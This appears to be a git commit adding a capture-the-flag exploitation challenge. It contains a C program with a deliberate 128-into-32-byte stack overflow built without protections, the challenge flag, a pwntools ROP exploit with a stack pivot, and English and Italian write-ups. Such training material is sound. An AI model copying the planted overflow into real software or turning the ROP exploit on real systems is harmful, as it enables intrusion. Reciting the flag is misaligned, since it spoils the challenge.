chals: add remote shell
This commit is contained in:
commit
942db4f569
11 changed files with 464 additions and 0 deletions
7
remote_shell/Dockerfile
Normal file
7
remote_shell/Dockerfile
Normal file
|
@ -0,0 +1,7 @@
|
|||
FROM pwn.red/jail
|
||||
COPY --from=debian:trixie-slim / /srv
|
||||
COPY rsh /srv/app/run
|
||||
COPY flag.txt /srv/app/flag.txt
|
||||
COPY banner.txt /srv/app/banner.txt
|
||||
|
||||
ENV JAIL_PORT=8888
|
3
remote_shell/Makefile
Normal file
3
remote_shell/Makefile
Normal file
|
@ -0,0 +1,3 @@
|
|||
all: main.c
|
||||
gcc -fno-stack-protector -fno-pie -no-pie -o rsh main.c
|
||||
|
21
remote_shell/banner.txt
Normal file
21
remote_shell/banner.txt
Normal file
|
@ -0,0 +1,21 @@
|
|||
|
||||
)\
|
||||
(__)
|
||||
/\
|
||||
/ \
|
||||
@@@/ __ \@@@
|
||||
@@@@@@@@/ /__\ \@@@@@@@@
|
||||
@@@@@@@ / ____ \ @@@@@@@
|
||||
@@@@@@@@@ /__/ \__\ @@@@@@@@@
|
||||
@@@@@@@ @@@@@@@
|
||||
!@@@@@@@@@ @@@@@@@@@!
|
||||
! @@@@@@@ @@@@@@@ !
|
||||
! @@@@@@@@@@@@@@@@@@@@@@ !
|
||||
! @@@@@@@@@@ !
|
||||
! ______________ !
|
||||
! Hack or Di(y|e) !
|
||||
! -------------- !
|
||||
! ------rsh----- !
|
||||
!!!!!!! !!!!!!!
|
||||
!!!!!!! !!!!!!!
|
||||
!!!!!!!!!!!!!!!!!!!!!!
|
3
remote_shell/build.Dockerfile
Normal file
3
remote_shell/build.Dockerfile
Normal file
|
@ -0,0 +1,3 @@
|
|||
FROM gcc:14.2.0
|
||||
COPY . /usr/src/myapp
|
||||
WORKDIR /usr/src/myapp
|
4
remote_shell/compile.sh
Executable file
4
remote_shell/compile.sh
Executable file
|
@ -0,0 +1,4 @@
|
|||
#!/bin/bash
|
||||
|
||||
docker build -f build.Dockerfile -t rsh_gcc .
|
||||
docker run --rm -v "$PWD":/usr/src/myapp -w /usr/src/myapp rsh_gcc gcc -fno-stack-protector -fno-pie -no-pie -o rsh main.c
|
119
remote_shell/expl.py
Executable file
119
remote_shell/expl.py
Executable file
|
@ -0,0 +1,119 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This exploit template was generated via:
|
||||
# $ pwn template --host hod-ctf.sito.org --port 4444 rsh
|
||||
from pwn import *
|
||||
|
||||
# Set up pwntools for the correct architecture
|
||||
exe = context.binary = ELF(args.EXE or 'rsh')
|
||||
|
||||
# Many built-in settings can be controlled on the command-line and show up
|
||||
# in "args". For example, to dump all data sent/received, and disable ASLR
|
||||
# for all created processes...
|
||||
# ./exploit.py DEBUG NOASLR
|
||||
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
|
||||
host = args.HOST or 'hod-ctf.emvpn.org'
|
||||
port = int(args.PORT or 8888)
|
||||
|
||||
|
||||
def start_local(argv=[], *a, **kw):
|
||||
'''Execute the target binary locally'''
|
||||
if args.GDB:
|
||||
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
|
||||
else:
|
||||
return process([exe.path] + argv, *a, **kw)
|
||||
|
||||
def start_remote(argv=[], *a, **kw):
|
||||
'''Connect to the process on the remote host'''
|
||||
io = connect(host, port)
|
||||
if args.GDB:
|
||||
gdb.attach(io, gdbscript=gdbscript)
|
||||
return io
|
||||
|
||||
def start(argv=[], *a, **kw):
|
||||
'''Start the exploit against the target.'''
|
||||
if args.LOCAL:
|
||||
return start_local(argv, *a, **kw)
|
||||
else:
|
||||
return start_remote(argv, *a, **kw)
|
||||
|
||||
# Specify your GDB script here for debugging
|
||||
# GDB will be launched if the exploit is run via e.g.
|
||||
# ./exploit.py GDB
|
||||
gdbscript = '''
|
||||
source /usr/share/pwndbg/gdbinit.py
|
||||
tbreak main
|
||||
break remote_shell
|
||||
break *0x40128a
|
||||
continue
|
||||
'''.format(**locals())
|
||||
|
||||
#===========================================================
|
||||
# EXPLOIT GOES HERE
|
||||
#===========================================================
|
||||
# Arch: amd64-64-little
|
||||
# RELRO: Partial RELRO
|
||||
# Stack: No canary found
|
||||
# NX: NX enabled
|
||||
# PIE: No PIE (0x400000)
|
||||
# Stripped: No
|
||||
|
||||
context.terminal = ['tmux', 'splitw', '-h']
|
||||
|
||||
|
||||
string_addr = exe.search(b'password').__next__()
|
||||
pop_rdi = exe.search(asm('pop rdi; ret', arch='amd64')).__next__()
|
||||
pop_rsi = exe.search(asm('pop rsi; ret', arch='amd64')).__next__()
|
||||
pop_rdx = exe.search(asm('pop rdx; ret', arch='amd64')).__next__()
|
||||
pop_rbp = exe.search(asm('pop rbp; ret', arch='amd64')).__next__()
|
||||
leave = exe.search(asm('leave; ret', arch='amd64')).__next__()
|
||||
rsp_8 = exe.search(asm('pop rdx; ret', arch='amd64')).__next__()
|
||||
puts_banner = 0x4012f6
|
||||
fake_stack = exe.sym['banner'] + 256
|
||||
|
||||
rop1 = ROP(exe)
|
||||
# write flag.txt in banner
|
||||
rop1.raw([pop_rsi, exe.sym['banner'], pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])
|
||||
|
||||
write_fake_stack = ROP(exe)
|
||||
# write the longer chain into the part that will be our fake stack
|
||||
write_fake_stack.raw([pop_rsi, fake_stack, pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])
|
||||
|
||||
rop2 = ROP(exe)
|
||||
# rsp == fake_stack (banner + 256)
|
||||
rop2.raw([pop_rbp, fake_stack, leave])
|
||||
|
||||
# chain to open flag.txt, read it and print it, then exit nicely
|
||||
chain = [0xdeadbeef, pop_rdi, exe.sym['banner'], pop_rsi, 0, exe.sym['open'], pop_rdi, 3, pop_rsi, exe.sym['banner'], pop_rdx, 0xff, exe.sym['read']]
|
||||
chain += [pop_rdi, exe.sym['banner'], exe.sym['puts'], exe.sym['exit']]
|
||||
long_chain = ROP(exe)
|
||||
long_chain.raw(chain)
|
||||
|
||||
def cycle(rop):
|
||||
io.recvuntil(b'login: ')
|
||||
io.sendline(b'A'*31)
|
||||
io.recvuntil(b'password: ')
|
||||
payload = secret_pwd + b'P' * off
|
||||
payload += rop.chain()
|
||||
io.sendline(payload.ljust(128-1, b'P'))
|
||||
sleep(0.2)
|
||||
|
||||
secret_pwd = b'super_secret_password'
|
||||
username_len = 128
|
||||
# offset to overwrite the return address
|
||||
off = cyclic_find('anaa')
|
||||
io = start()
|
||||
|
||||
# write flag.txt in banner
|
||||
cycle(rop1)
|
||||
io.sendline(b'flag.txt')
|
||||
|
||||
cycle(write_fake_stack)
|
||||
io.sendline(long_chain.chain())
|
||||
|
||||
# return to the fake stack
|
||||
cycle(rop2)
|
||||
|
||||
# flag is in stdout
|
||||
io.interactive()
|
||||
|
1
remote_shell/flag.txt
Normal file
1
remote_shell/flag.txt
Normal file
|
@ -0,0 +1 @@
|
|||
HoD2024{64_r0p_g4d63t5_4r3_t00_l0ng}
|
56
remote_shell/main.c
Normal file
56
remote_shell/main.c
Normal file
|
@ -0,0 +1,56 @@
|
|||
#undef _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#define SECRET_PASSWORD "super_secret_password"
|
||||
#define SECRET_PASSWORD_LEN strlen(SECRET_PASSWORD)
|
||||
|
||||
int read_string(char *prompt, char *buf, int n)
|
||||
{
|
||||
puts(prompt);
|
||||
n = read(0, buf, n);
|
||||
if (n <= 0)
|
||||
exit(0xc35a);
|
||||
buf[n - 1] = '\0';
|
||||
return n;
|
||||
}
|
||||
|
||||
void remote_shell(void) {
|
||||
char username[32];
|
||||
char password[32];
|
||||
int n;
|
||||
|
||||
read_string("login: ", username, sizeof(username));
|
||||
read_string("password: ", password, 128);
|
||||
if (strncmp(password, SECRET_PASSWORD, SECRET_PASSWORD_LEN) != 0)
|
||||
exit(0xc35f);
|
||||
printf("Welcome %s!\n", username);
|
||||
puts("TO BE IMPLEMENTED\n");
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
char banner[1024];
|
||||
int main(void) {
|
||||
int fd;
|
||||
int n;
|
||||
setbuf(stdout, NULL);
|
||||
|
||||
fd = open("./banner.txt", O_RDONLY);
|
||||
if (fd == -1)
|
||||
exit(-1);
|
||||
|
||||
n = read(fd, banner, sizeof(banner) - 1);
|
||||
if (n <= 0)
|
||||
exit(0xc35e);
|
||||
banner[n] = '\0';
|
||||
puts(banner);
|
||||
close(fd);
|
||||
|
||||
remote_shell();
|
||||
|
||||
return 0;
|
||||
}
|
BIN
remote_shell/rsh
Executable file
BIN
remote_shell/rsh
Executable file
Binary file not shown.
133
remote_shell/writeup.md
Normal file
133
remote_shell/writeup.md
Normal file
|
@ -0,0 +1,133 @@
|
|||
# Challenge description
|
||||
RemoteShell - WIP
|
||||
|
||||
```
|
||||
I've this WIP remote shell project. I want it to be super secure! (flag is in
|
||||
./flag.txt)
|
||||
```
|
||||
|
||||
Only the binary is provided (rsh) but the difficulty of the challenge would
|
||||
have been similar with the source code (main.c).
|
||||
|
||||
# Binary analysis
|
||||
|
||||
The provided binary (rsh) reads the file banner.txt into a global buffer banner.
|
||||
After that it asks for username and password and checks if the password
|
||||
provided *starts* with "super_secret_password". If this checks fails, the program exits.
|
||||
If the check succeeds, the function prints two strings and return.
|
||||
The input from the user is read from standard input using read.
|
||||
We can see that the second read (the one reading the password) can overflow the
|
||||
buffer, as it reads 128 bytes into a 32bytes buffer.
|
||||
We can see that in the source code:
|
||||
```c
|
||||
void remote_shell(void) {
|
||||
char username[32];
|
||||
char password[32];
|
||||
int n;
|
||||
|
||||
read_string("login: ", username, sizeof(username));
|
||||
read_string("password: ", password, 128);
|
||||
if (strncmp(password, SECRET_PASSWORD, SECRET_PASSWORD_LEN) != 0)
|
||||
exit(0xc35f);
|
||||
printf("Welcome %s!\n", username);
|
||||
puts("TO BE IMPLEMENTED\n");
|
||||
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
# Exploitation
|
||||
|
||||
The binary is not protected with stack canaries:
|
||||
```
|
||||
$checksec rsh
|
||||
[*] '/home/garulf/ctf_deploy/rsh/rsh'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
Stripped: No
|
||||
$
|
||||
```
|
||||
This means that we can overwrite the return address of the function.
|
||||
Also the binary is not PIE, so that the text and the data of the program are
|
||||
always loaded at the same addresses.
|
||||
We can then return-to-plt and re-use the functions imported by the program.
|
||||
The imported functions:
|
||||
```bash
|
||||
$rz-bin -zi rsh
|
||||
[Imports]
|
||||
nth vaddr bind type lib name
|
||||
---------------------------------------------------
|
||||
1 ---------- GLOBAL FUNC __libc_start_main
|
||||
2 0x00401030 GLOBAL FUNC strncmp
|
||||
3 0x00401040 GLOBAL FUNC puts
|
||||
4 0x00401050 GLOBAL FUNC setbuf
|
||||
5 0x00401060 GLOBAL FUNC printf
|
||||
6 0x00401070 GLOBAL FUNC close
|
||||
7 0x00401080 GLOBAL FUNC read
|
||||
8 ---------- WEAK NOTYPE __gmon_start__
|
||||
9 0x00401090 GLOBAL FUNC open
|
||||
10 0x004010a0 GLOBAL FUNC exit
|
||||
|
||||
...
|
||||
```
|
||||
So we have everything we need to read the flag: open (to open ./flag.txt), read
|
||||
to read the flag from the file to memory and puts to write the flag in stdout.
|
||||
Of course we need to call the functions with the right arguments.
|
||||
To control the arguments of the functions, we use some rop gadgets.
|
||||
This is a 64bit binaries, so the arguments are passed to the function using the
|
||||
registers rdi, rsi and rdx for the first, second and third argument
|
||||
respectively.
|
||||
Let's check the available gadgets:
|
||||
```bash
|
||||
$ ipython -c 'from pwn import *; ROP(ELF("./rsh")).gadgets'
|
||||
[*] Loaded 8 cached gadgets for './rsh'
|
||||
Out[1]:
|
||||
{4198419: Gadget(0x401013, ['add esp, 8', 'ret'], [8], 0xc),
|
||||
4198418: Gadget(0x401012, ['add rsp, 8', 'ret'], [8], 0xc),
|
||||
4198901: Gadget(0x4011f5, ['leave', 'ret'], ['ebp', 'esp'], 0x2540be403),
|
||||
4198781: Gadget(0x40117d, ['pop rbp', 'ret'], ['rbp'], 0x8),
|
||||
4198982: Gadget(0x401246, ['pop rdi', 'ret'], ['rdi'], 0x8),
|
||||
4198870: Gadget(0x4011d6, ['pop rdx', 'ret'], ['rdx'], 0x8),
|
||||
4199123: Gadget(0x4012d3, ['pop rsi', 'ret'], ['rsi'], 0x8),
|
||||
4198422: Gadget(0x401016, ['ret'], [], 0x4)}
|
||||
```
|
||||
|
||||
we have all the gadgets we need as we can control rdi, rsi and rdx registers
|
||||
using the pop rdi, pop rsi and pop rdx gadgets.
|
||||
|
||||
We also need an area in memory to write the string "flag.txt" to use as open
|
||||
argument and also to store our flag read from the file. We can use the banner
|
||||
buffer for that.
|
||||
|
||||
So to recap, the plan is:
|
||||
|
||||
- read from stdin into the buffer banner, and write the string "flag.txt"
|
||||
- invoke the function open, using the address of banner as argument. The fd
|
||||
number returned is predictable and it will be 3
|
||||
- use read to read from fd 3(flag.txt) into the buffer banner
|
||||
- use puts to print the flag
|
||||
|
||||
But there is a problem: the amount of stack we can overflow is limited, and so the chain can't be longer than to 128 bytes - len(super_secret_password)
|
||||
|
||||
we can partially overcome this problem by terminating each rop chain with the
|
||||
address of the function remote_shell. This way we will be prompted again for
|
||||
the password and we execute another "step".
|
||||
|
||||
For example, a possible chain could be:
|
||||
```python
|
||||
rop1.raw([pop_rsi, exe.sym['banner'], pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])
|
||||
```
|
||||
|
||||
But we still have a limit per "cycle", and you can't set 3 registers and call a
|
||||
function in the same cycle.
|
||||
I couldn't find a way to read from the file using less than three registers so I
|
||||
tried another approach to have longer chain.
|
||||
I first write a (almost) arbitrary long chain into the banner buffer, and then I
|
||||
use other gadgets to make rsp to point to the buffer banner.
|
||||
This way the banner buffer will be our fake stack, and we'll not have any
|
||||
length limitation.
|
||||
|
||||
You can find the full exploit in the expl.py script
|
117
remote_shell/writeup_ita.md
Normal file
117
remote_shell/writeup_ita.md
Normal file
|
@ -0,0 +1,117 @@
|
|||
# Descrizione della Sfida
|
||||
|
||||
RemoteShell - WIP
|
||||
|
||||
```
|
||||
I've this WIP remote shell project. I want it to be super secure! (flag is in
|
||||
./flag.txt)
|
||||
```
|
||||
|
||||
Viene fornito solo il binario (rsh) ma la difficoltà della sfida sarebbe stata simile con il codice sorgente (main.c).
|
||||
|
||||
# Analisi del Binario
|
||||
|
||||
Il binario fornito (rsh) legge il file `banner.txt` in un buffer globale chiamato `banner`.
|
||||
Successivamente, richiede un nome utente e una password e verifica se la password fornita *inizia* con "super_secret_password". Se questa verifica fallisce, il programma si interrompe.
|
||||
Se la verifica ha successo, la funzione stampa due stringhe e termina.
|
||||
L'input dell'utente viene letto dallo standard input utilizzando la funzione `read`.
|
||||
Possiamo notare che la seconda lettura (quella della password) può causare un overflow del buffer, poiché legge 128 byte in un buffer di 32 byte.
|
||||
Nel codice sorgente:
|
||||
```c
|
||||
void remote_shell(void) {
|
||||
char username[32];
|
||||
char password[32];
|
||||
int n;
|
||||
|
||||
read_string("login: ", username, sizeof(username));
|
||||
read_string("password: ", password, 128);
|
||||
if (strncmp(password, SECRET_PASSWORD, SECRET_PASSWORD_LEN) != 0)
|
||||
exit(0xc35f);
|
||||
printf("Welcome %s!\n", username);
|
||||
puts("TO BE IMPLEMENTED\n");
|
||||
|
||||
return;
|
||||
}
|
||||
```
|
||||
# Soluzione ed exploit
|
||||
|
||||
Il binario non è protetto con stack canaries:
|
||||
```
|
||||
$checksec rsh
|
||||
[*] '/home/garulf/ctf_deploy/rsh/rsh'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
Stripped: No
|
||||
$
|
||||
```
|
||||
Questo significa che possiamo sovrascrivere l'indirizzo di ritorno della funzione.
|
||||
Inoltre il binario non è PIE, quindi il testo e i dati del programma sono sempre caricati agli stessi indirizzi.
|
||||
Possiamo quindi fare un return-to-plt e riutilizzare le funzioni importate dal programma.
|
||||
Le funzioni importate:
|
||||
```bash
|
||||
$rz-bin -zi rsh
|
||||
[Imports]
|
||||
nth vaddr bind type lib name
|
||||
---------------------------------------------------
|
||||
1 ---------- GLOBAL FUNC __libc_start_main
|
||||
2 0x00401030 GLOBAL FUNC strncmp
|
||||
3 0x00401040 GLOBAL FUNC puts
|
||||
4 0x00401050 GLOBAL FUNC setbuf
|
||||
5 0x00401060 GLOBAL FUNC printf
|
||||
6 0x00401070 GLOBAL FUNC close
|
||||
7 0x00401080 GLOBAL FUNC read
|
||||
8 ---------- WEAK NOTYPE __gmon_start__
|
||||
9 0x00401090 GLOBAL FUNC open
|
||||
10 0x004010a0 GLOBAL FUNC exit
|
||||
...
|
||||
```
|
||||
Abbiamo quindi tutto ciò che serve per leggere la flag: open per aprire ./flag.txt, read per leggere la flag dal file in memoria e puts per scrivere la flag nello standard output. Ovviamente dobbiamo chiamare le funzioni con gli argomenti corretti.
|
||||
Per poter controllare gli argomenti delle funzioni, usiamo alcuni gadget ROP. Dato che si tratta di un binario a 64 bit, gli argomenti vengono passati alle funzioni utilizzando i registri rdi, rsi e rdx per il primo, secondo e terzo argomento, rispettivamente.
|
||||
Vediamo quali gadget possiamo utilizzare:
|
||||
```bash
|
||||
|
||||
$ ipython -c 'from pwn import *; ROP(ELF("./rsh")).gadgets'
|
||||
[*] Loaded 8 cached gadgets for './rsh'
|
||||
Out[1]:
|
||||
{4198419: Gadget(0x401013, ['add esp, 8', 'ret'], [8], 0xc),
|
||||
4198418: Gadget(0x401012, ['add rsp, 8', 'ret'], [8], 0xc),
|
||||
4198901: Gadget(0x4011f5, ['leave', 'ret'], ['ebp', 'esp'], 0x2540be403),
|
||||
4198781: Gadget(0x40117d, ['pop rbp', 'ret'], ['rbp'], 0x8),
|
||||
4198982: Gadget(0x401246, ['pop rdi', 'ret'], ['rdi'], 0x8),
|
||||
4198870: Gadget(0x4011d6, ['pop rdx', 'ret'], ['rdx'], 0x8),
|
||||
4199123: Gadget(0x4012d3, ['pop rsi', 'ret'], ['rsi'], 0x8),
|
||||
4198422: Gadget(0x401016, ['ret'], [], 0x4)}
|
||||
```
|
||||
Abbiamo tutti i gadget necessari, poiché possiamo controllare i registri rdi, rsi e rdx utilizzando i gadget pop rdi, pop rsi e pop rdx.
|
||||
|
||||
Ci serve anche un'area di memoria in cui scrivere la stringa "flag.txt" da usare come argomento per open e anche per memorizzare la flag letta dal file. Possiamo usare il buffer banner per questo.
|
||||
|
||||
In sintesi, il piano è:
|
||||
- leggere da standard input con destinazione il buffer banner e scrivere la stringa "flag.txt"
|
||||
- invocare la funzione open, utilizzando l'indirizzo di banner come
|
||||
argomento. Il numero di file descriptor restituito è prevedibile, sarà 3.
|
||||
- usare read per leggere dal file descriptor 3 (flag.txt) nel buffer banner
|
||||
- usare puts per stampare la flag
|
||||
|
||||
|
||||
Ma c'è un problema: la quantità di stack che possiamo sovrascrivere è limitata, quindi la nostra chain non può essere più lunga di 128 bytes - len(super_secret_password).
|
||||
|
||||
Possiamo in parte superare questo problema terminando ogni chain ROP con
|
||||
l'indirizzo della funzione remote_shell. In questo modo ci verrà nuovamente
|
||||
chiesta la password e potremo risovrascrivere lo stack e eseguire un altro
|
||||
"passo".
|
||||
|
||||
Ad esempio, una possibile chain potrebbe essere:
|
||||
```python
|
||||
rop1.raw([pop_rsi, exe.sym['banner'], pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])
|
||||
```
|
||||
|
||||
Ma abbiamo pur sempre un limite di lunghezza per ogni "passo".
|
||||
In particolare, non si possono settare 3 registri, chiamare una funzione a aggiungere l'indirizzo di remote_shell in modo da re-iniziare il ciclo.
|
||||
Non sono riuscito a trovare un modo per leggere dal file usando meno di tre argomenti, ho quindi deciso di usare un altro approccio.
|
||||
Prima ho scritto una chain senza le restrizioni di lunghezza dentro il buffer di banner, poi ho usato dei gadget rop per far si che il registro rsp punti al buffer banner. In questo modo ho creato uno stack fasullo con dentro una chain di lunghezza sufficente per contenere gli steps necessari.
|
||||
|
||||
Puoi trovare l'exploit completo in expl.py
|
Loading…
Reference in a new issue